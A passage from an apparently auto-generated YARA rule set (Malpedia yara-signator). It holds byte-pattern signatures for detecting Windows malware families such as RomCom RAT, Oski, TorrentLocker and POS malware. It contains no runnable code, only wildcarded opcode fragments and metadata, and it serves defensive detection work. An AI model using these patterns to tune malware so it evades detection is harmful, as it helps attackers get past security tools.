		$sequence_3 = { ff750c e8???????? 83c404 c745200f000000 c7451c00000000 c6450c00 b801000000 }
		$sequence_4 = { 8bce e8???????? c745fcffffffff ff36 e8???????? 83c404 8b4df4 }
		$sequence_5 = { 833cf5c000021000 7513 56 e8???????? }
		$sequence_6 = { 57 a1???????? 33c4 50 8d442420 64a300000000 68f0110210 }
		$sequence_7 = { c68518ffffff00 c645fc10 837d9010 720e ffb57cffffff }
		$sequence_8 = { 0fb6bc3890b70110 8bc7 c1e804 89bdc4fdffff 8bbde8fdffff 8985c4fdffff }
		$sequence_9 = { 83c40c 8d842474040000 6890010000 50 6a00 ff15???????? }
	condition:
		7 of them and filesize < 827392
}

rule MALPEDIA_Win_Boxcaon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a730ae2b-b623-5088-86a7-4d1a4eb89ea5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boxcaon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boxcaon_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "5b71da83cc61472fd3b6239fea0178674ab4b3cf9a9678dbeeda07cdd88e683a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466890b54000 6a0d e8???????? }
		$sequence_1 = { 8bd3 66899424e0000000 5a 6a50 66899424e2000000 8bd1 66899424e4000000 }
		$sequence_2 = { 8888b8b84000 40 ebe6 ff35???????? }
		$sequence_3 = { 8bec 33c0 8b4d08 3b0cc5408a4000 740a }
		$sequence_4 = { c78424980000003c000000 ff15???????? 56 33ff }
		$sequence_5 = { e8???????? 84c0 741a 8d4c2410 8d8424d8020000 2bc1 }
		$sequence_6 = { 89bc24ac000000 89b424b4000000 c78424980000003c000000 ff15???????? }
		$sequence_7 = { 33c9 66890c06 68???????? 8d442414 50 e8???????? }
		$sequence_8 = { 0020 1f 40 00441f40 0023 d18a0688078a 46 }
		$sequence_9 = { 33c0 c7461407000000 668906 8b4508 8b5810 57 }
	condition:
		7 of them and filesize < 256000
}

rule MALPEDIA_Win_Oski_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c71af2a-ab1c-54b1-b031-9d62fe7b8e58"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oski"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oski_auto.yar#L1-L184"
		license_url = "N/A"
		logic_hash = "6e592abd5f7946bd0b6a43d8ee0af2b699a6055e4a91c9728a4df01ede6824ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 a1???????? 50 8d8df0feffff 51 e8???????? }
		$sequence_1 = { 25ff7f0000 c3 8bff 55 8bec 83ec14 ff7510 }
		$sequence_2 = { 83c40c e8???????? 50 a1???????? 50 }
		$sequence_3 = { 8975f0 e8???????? cc 8bff 55 8bec 8b550c }
		$sequence_4 = { 393d???????? 0f94c0 33d2 0bc8 }
		$sequence_5 = { 57 e8???????? 8b4618 83c40c 6a00 6a00 }
		$sequence_6 = { 56 8d85ecfeffff 50 8d8dd0fcffff 51 eb18 f685a4fcffff10 }
		$sequence_7 = { 8b4508 8945b0 8b450c 33db 8bc8 }
		$sequence_8 = { f3c3 e9???????? 8bff 55 8bec 83ec1c a1???????? }
		$sequence_9 = { ebe9 6a02 e8???????? 59 c3 e8???????? }
		$sequence_10 = { 8b5508 52 a1???????? 50 8d8de8fdffff }
		$sequence_11 = { 51 e8???????? 83c40c 8985e4fdffff 83bde4fdffff00 }
		$sequence_12 = { e8???????? 83c404 8b0d???????? 51 ff15???????? a3???????? }
		$sequence_13 = { 8b511c 83c220 52 6a00 }
		$sequence_14 = { 52 6a00 68???????? ff15???????? 8945f0 837df000 }
		$sequence_15 = { 83c404 8b55f8 8955f4 8b45f4 50 e8???????? 83c404 }
		$sequence_16 = { 51 6800020000 8b55f4 52 ff15???????? 8945f0 }
	condition:
		7 of them and filesize < 423936
}

rule MALPEDIA_Win_Stinger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3d5345cc-6891-5cd1-840e-a83631b5fe99"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stinger_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "89238eb5fdfe99680f7f49528afc66652f68e02cb4c9414363e841a63c1fb66a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c404 8b5dfc 53 83c324 53 8b1b }
		$sequence_1 = { 85db 7409 53 e8???????? 83c404 ff75f0 ff75f4 }
		$sequence_2 = { 83f90a 1bd2 83d100 c1e008 8d4cd137 0bc1 }
		$sequence_3 = { 8b5dfc 83c320 895df8 8b5df8 }
		$sequence_4 = { 83f800 0f84e6030000 ff75fc 8b5d08 ff33 b902000000 e8???????? }
		$sequence_5 = { ff35???????? ff35???????? b903000000 e8???????? 83c40c 8945c4 6805000080 }
		$sequence_6 = { 51 53 890b 50 3bc8 0f8f56030000 }
		$sequence_7 = { 8b5dfc 83c314 895df8 8965f4 6800000000 ff15???????? 90 }
		$sequence_8 = { 8a143a 8a0c30 32ca 5a 880c10 }
		$sequence_9 = { 8b5df8 8b7df4 85db 8b75fc 7436 0fb606 8bc8 }
	condition:
		7 of them and filesize < 197096
}

rule MALPEDIA_Win_Romcom_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "52944eb3-a8b3-598a-bd5c-c9c0b8dd95ba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.romcom_rat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "94e8976d75fd26e2288ab3e032c369598bcb0480813fc775078fe15324b5e802"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33d2 448d4240 488d8d60100000 e8???????? 488d0d9a6e0100 e8???????? 4c8bc0 }
		$sequence_1 = { 488945a0 488d0592d20400 4885db 7424 83630800 488903 }
		$sequence_2 = { c7442434323b3831 c74424383738363a c744243c02005b00 c74424407e006900 c744244461005d00 c74424485e005200 c744244c52005400 }
		$sequence_3 = { f30f7f458f 482bf3 4889742420 4c8d458f 488d55a7 498bce e8???????? }
		$sequence_4 = { 488d8a50000000 e9???????? 4055 4883ec20 488bea 8b8598000000 83e002 }
		$sequence_5 = { eb24 488d152e6b0600 488d4b02 483bce 7714 41803c1f30 750d }
		$sequence_6 = { c7442460474e595a c7442464080a5d0d c74424685b5a4659 c744246c10475f51 c7442470141e5e19 c74424744b4b5f4f c744247848262600 }
		$sequence_7 = { 498bd6 498bcd ff5038 498b4740 488b4808 48894d97 488b01 }
		$sequence_8 = { ebd7 488d053e4d0300 ba80000000 0f1000 410f1106 0f104810 410f114e10 }
		$sequence_9 = { 894c2420 ff15???????? eb0c 48630d???????? e8???????? }
	condition:
		7 of them and filesize < 1211392
}

rule MALPEDIA_Win_Torrentlocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7392e065-18c2-5313-a3d1-b30d3efcbeb2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.torrentlocker_auto.yar#L1-L169"
		license_url = "N/A"
		logic_hash = "9e477f7e8b8247df899448f8dfaacbe7088b9d7adf1371f318f6d0bbdd12c5e7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 83f801 7405 83f802 }
		$sequence_1 = { 6a01 68???????? ff15???????? 85c0 7510 6a78 50 }
		$sequence_2 = { 6a02 e8???????? 83c430 85c0 }
		$sequence_3 = { 41 81f9f1ff0000 7206 81e9f1ff0000 }
		$sequence_4 = { 6a03 e8???????? 83c410 83f8ff 7404 a810 }
		$sequence_5 = { 6685d2 75f1 8bcf 8bf7 668b11 83c102 }
		$sequence_6 = { 7526 68400000f0 50 6a00 6a00 }
		$sequence_7 = { 51 52 50 ff15???????? 85c0 7519 }
		$sequence_8 = { 7415 81f9340000c0 7407 85c9 750e 33c0 }
		$sequence_9 = { 85c0 740a c705????????ffffffff 8b15???????? 6a00 6a01 }
		$sequence_10 = { 56 6a00 52 ff15???????? 5e 8bc7 }
		$sequence_11 = { 751f ff15???????? 3d16000980 753d 68080000f0 }
		$sequence_12 = { 6a18 6a00 6a00 68???????? ffd6 83f801 7526 }
		$sequence_13 = { 750b 68???????? ff15???????? 8bc3 }
		$sequence_14 = { 51 ff15???????? c705????????00000000 eb39 8b15???????? 6a0c }
		$sequence_15 = { 8bc6 5e 5f c3 be04000000 }
	condition:
		7 of them and filesize < 933888
}

rule MALPEDIA_Win_Logpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "738ffd15-c890-5ce3-8158-aad7627bd488"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.logpos_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "b0bb7c96824becdbd2b84481288798e82499176f0ad872177caf0cac7c2bcced"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 89e5 60 31c0 31c9 fc 8b7508 }
		$sequence_1 = { e8???????? 894328 681c429282 ff33 ff736c }
		$sequence_2 = { 83fa00 0f852c000000 8d4001 8945f8 8a00 }
		$sequence_3 = { 48 83ec38 53 56 57 41 52 }
		$sequence_4 = { 8b90d8000000 48 85d2 7410 48 394a08 7505 }
		$sequence_5 = { c744241001000000 c744240c00000000 8b442450 89442414 }
		$sequence_6 = { 8344242401 48 8344243001 837c243800 7406 48 }
		$sequence_7 = { 4c 8d0570040000 49 8b88d8000000 48 }
		$sequence_8 = { 83f82f 0f8549000000 8b45fc c680a360400000 8b45fc }
		$sequence_9 = { 68ba917bf6 ff33 ff7370 53 e8???????? 89433c }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Malumpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cd78d99d-ded9-59a9-a898-9ec39f928aa5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.malumpos_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "29cfae31eaa84f0f9fcc3ec276520376ec4d5f40c7104f5c7188971142f1d819"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b450c 3b38 731e 8bd9 }
		$sequence_1 = { 59 56 8bf3 5e 56 }
		$sequence_2 = { 8db408f8000000 8b4608 894568 3bc3 0f84d9000000 }
		$sequence_3 = { 5a 66a9a02f fc f5 a1???????? 8b4015 6a04 }
		$sequence_4 = { 5e 6685db 55 80c400 5d 56 }
		$sequence_5 = { 59 7405 0d00000000 80ec00 }
		$sequence_6 = { e8???????? 68???????? a3???????? ffd0 810d????????00200000 be???????? }
		$sequence_7 = { 50 ff35???????? ff15???????? 817d6003010000 }
		$sequence_8 = { 85c0 7446 8b400c 56 8b700c 68???????? 57 }
		$sequence_9 = { 8d4520 50 ff15???????? 8d4520 }
	condition:
		7 of them and filesize < 542720
}

rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c279999-73dd-553b-a33f-fb7233640f4d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_kt3_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "43bd0b6c16f3b291b1fdceb004531872c299302c3bdde3bd6c507ecd76a92465"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c1ff 51 8b4df4 51 8b15???????? 52 }
		$sequence_1 = { 51 e8???????? 83c404 8985e0fbffff 8b85e0fbffff 8985ecfbffff }
		$sequence_2 = { 8b4dfc 0fbe5103 83fa3e 750f }
		$sequence_3 = { 0f8408000000 0f8502000000 ebe9 c745dc00000000 }
		$sequence_4 = { 8b55f8 2b55fc 8955f8 ebb7 8b4510 5f }
		$sequence_5 = { 51 8b55f4 52 8d4de4 e8???????? 8b45e8 }
		$sequence_6 = { 8b4dfc 83c10b 894df4 6a20 }
		$sequence_7 = { 8d41fc 8b4c2404 2bc1 c3 6800000300 }
		$sequence_8 = { 8dbdecfeffff 83c9ff 33c0 f2ae f7d1 83c1ff }
		$sequence_9 = { 51 8b55f4 52 8d4de4 e8???????? }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Vendetta_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bcdb1310-b09c-513a-b41a-f75320f7a85e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vendetta_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "5c2304aa47000d3a15dbc6575084e1756c9655c08eb53d8a6e39024d5b55c108"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? c745e0e8924100 e9???????? c745e0d4924100 }
		$sequence_1 = { 8bf1 83caff bf00040000 0fb60e }
		$sequence_2 = { 40 c745ec7c994000 894df8 8945fc 64a100000000 8945e8 }
		$sequence_3 = { 83ef01 75d4 f7d2 5f 8bc2 5e }
		$sequence_4 = { 53 8d85f0f7ffff 50 56 ff15???????? }
		$sequence_5 = { 84c0 0f843b010000 8d770c 6a2c }
		$sequence_6 = { 8b85e0feffff 03b40518ffffff 03b0acb04100 03b5f8feffff }
		$sequence_7 = { 238df4feffff 8b85e0feffff 03b40508ffffff 03b09cb04100 8bc3 03b5dcfeffff 01b5f8feffff }
		$sequence_8 = { 3385ecfeffff 23c2 3385f8feffff 03f0 8b85e0feffff 03b40514ffffff 03b0a8b04100 }
		$sequence_9 = { 7f0e 7c08 81fa00000080 7704 }
	condition:
		7 of them and filesize < 296960
}

rule MALPEDIA_Win_Cycbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aad0afc1-3e31-5a15-bed5-ae0a7936ed7d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cycbot_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "653a5c288b88440ecab3bfd86c4c4b0d9e0fe555f9cf936dfb136b22da063d90"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c705????????480f4200 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 }
		$sequence_1 = { 895dfc 51 8d4db8 8945cc 895dc8 885db8 e8???????? }
		$sequence_2 = { 741a ff7590 ff15???????? 85c0 750d ff7590 e8???????? }
		$sequence_3 = { c68424c805000001 e8???????? 53 6a01 8d4c2474 8bf0 }
		$sequence_4 = { e8???????? 83c418 6a00 8d842488000000 50 8d8c2494010000 51 }
		$sequence_5 = { 48 7514 8d8550ffffff eb08 8d45c8 eb03 8d45a0 }
		$sequence_6 = { 59 898580deffff 3bc7 7433 83bd9cdeffff10 8b8588deffff 7306 }
		$sequence_7 = { 50 ff5110 8985b4fbffff 3bc7 0f857e010000 8b85a8fbffff 8b08 }
		$sequence_8 = { 50 8d4c2430 e8???????? 8bf0 59 3bf3 752f }
		$sequence_9 = { 33c0 66898580fbffff 6a04 5b 899dbcfbffff c785c0fbffff02000000 899dc4fbffff }
	condition:
		7 of them and filesize < 1163264
}

rule MALPEDIA_Win_Minitypeframe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dc23eb24-7d5a-5aeb-a61b-eb29d1fabf92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minitypeframe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minitypeframe_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "649cd851124eccf39a4d1794ac9ee18b8f663aea1274862230eac021ea9eebf8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 6a0c 6a05 f3a4 e8???????? 8b8dd8000000 8d442430 }
		$sequence_1 = { 83c414 85c0 750a 68bf080000 e9???????? 8b563c 8b7a04 }
		$sequence_2 = { 8b4c2444 8039a6 0f8504010000 894c2464 8d4c2420 50 8d542420 }
		$sequence_3 = { 8b1c9d78060910 81e300ff0000 33fb 8bda c1eb18 8b1c9d780e0910 81e3000000ff }
		$sequence_4 = { e8???????? 83c40c 85c0 751a 6a4b 68???????? }
		$sequence_5 = { 83c408 e9???????? 668b15???????? 66c744245c0200 52 ff15???????? 8d4c245c }
		$sequence_6 = { c644240416 884c2405 c6442406ba c644240708 c644240898 c644240958 c644240ac1 }
		$sequence_7 = { 51 52 e8???????? 8d442414 6a08 }
		$sequence_8 = { 6854050000 68???????? 6a44 689b000000 6a14 e8???????? 83c418 }
		$sequence_9 = { e8???????? 8bf8 83c404 3bfb 0f8e07020000 c74634d0210000 895e44 }
	condition:
		7 of them and filesize < 1589248
}

rule MALPEDIA_Win_Purplewave_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f9a895ad-7289-518b-be54-7444bb9c0feb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.purplewave_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "2b8c8451c42e657113c26199005fb6974947a93818322a1c2e41a19d47cbd34a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc1 c1f806 83e13f 6bc938 8b0485201e4900 80640828fe ff36 }
		$sequence_1 = { 395914 7202 8b09 85f6 7410 8bd1 66833a3a }
		$sequence_2 = { 59 8945c0 894dc4 8845b0 8945d8 894ddc }
		$sequence_3 = { 8bec 8b5508 56 0fb67203 0fb64202 0fb64a01 c1e608 }
		$sequence_4 = { 8d8d14ffffff e8???????? 68???????? 8d8d14ffffff c645fc20 e8???????? 50 }
		$sequence_5 = { 51 8d4dd4 e8???????? ff734c e8???????? 59 3bc7 }
		$sequence_6 = { 8b4e08 8902 894a04 895004 8911 8b4508 }
		$sequence_7 = { 8d7b04 899d5cfdffff 33c0 c703???????? 83671000 c7471407000000 668907 }
		$sequence_8 = { 8d8d14ffffff e8???????? 68???????? 8d8d14ffffff c645fc60 e8???????? 50 }
		$sequence_9 = { e9???????? c3 8d4db0 e9???????? 8d4dbc e9???????? 8d8df8fbffff }
	condition:
		7 of them and filesize < 1400832
}

rule MALPEDIA_Win_Mapiget_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "90931f84-8d97-5d03-9fd8-5157c4363161"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mapiget_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "db2ad0ac6ed98d9fe4028516eb88a6adb15c290b65682d6ffe66f99e185c09f3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 7433 8305????????20 8d0cbd20174100 8d9000010000 }
		$sequence_1 = { 50 51 52 c744244044000000 c744244808e24000 c744246c01000000 ff15???????? }
		$sequence_2 = { b97f000000 33c0 8d7c242a 66895c2428 66899c2428020000 }
		$sequence_3 = { 8d7c2418 8b542468 f3ab 6689442444 8d442404 8d4c2414 50 }
		$sequence_4 = { 8b4c2468 6a00 6a00 6a00 52 }
		$sequence_5 = { 8d85f0feffff 52 8d8d70ffffff 50 8d95f0fdffff 51 }
		$sequence_6 = { 6683bc45eefeffff0a 7517 8d95f0feffff 52 }
		$sequence_7 = { c1e603 8d1c8520174100 8b048520174100 03c6 }
		$sequence_8 = { 8b5c2408 55 83cdff 56 83fb02 57 be01000000 }
		$sequence_9 = { 50 e8???????? 83c404 6689bc456effffff 8d8df0feffff }
	condition:
		7 of them and filesize < 163840
}

rule MALPEDIA_Win_Tonedeaf_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "45b13e7e-c29b-5480-ade9-d6d61b9a86df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tonedeaf_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "ffe23054663c8cef941b8fef13d66b93a10d69fedb5bcac05b4afd2fa9414e88"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b45ec 85c0 740b 6a08 50 }
		$sequence_1 = { 2bd9 2bf1 8bc3 46 }
		$sequence_2 = { 33c0 660fd645d4 33db 8945d8 }
		$sequence_3 = { 8b5004 8d4af8 898c153cffffff 8d45a8 c745fc01000000 }
		$sequence_4 = { 6a00 ff15???????? 56 ff15???????? 56 ff15???????? }
		$sequence_5 = { 75f3 8bf3 8a03 43 84c0 }
		$sequence_6 = { 33c0 660fd645d4 33db 8945d8 895dd4 }
		$sequence_7 = { 75f3 8bf3 8a03 43 84c0 75f9 2bde }
		$sequence_8 = { c745dc00000000 33c0 660fd645d4 33db 8945d8 895dd4 }
		$sequence_9 = { 8a0e 8d7601 884c32ff 84c9 75f3 8bf3 8a03 }
	condition:
		7 of them and filesize < 851968
}

rule MALPEDIA_Win_Unidentified_020_Cia_Vault7_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "50fc15f3-1120-5098-a2b0-ef6606f64bfb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_020_cia_vault7_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "17fe086c6d5f4507ec1675a18ca14445f60cf526d184ed9a8460c468298fa68d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8d45f0 64a300000000 8965e8 8b7d08 c745fc00000000 8b07 }
		$sequence_1 = { a1???????? 33c4 89842428080000 8b4508 53 }
		$sequence_2 = { 52 8d85c6f7ffff 50 e8???????? 8bbdb8f7ffff }
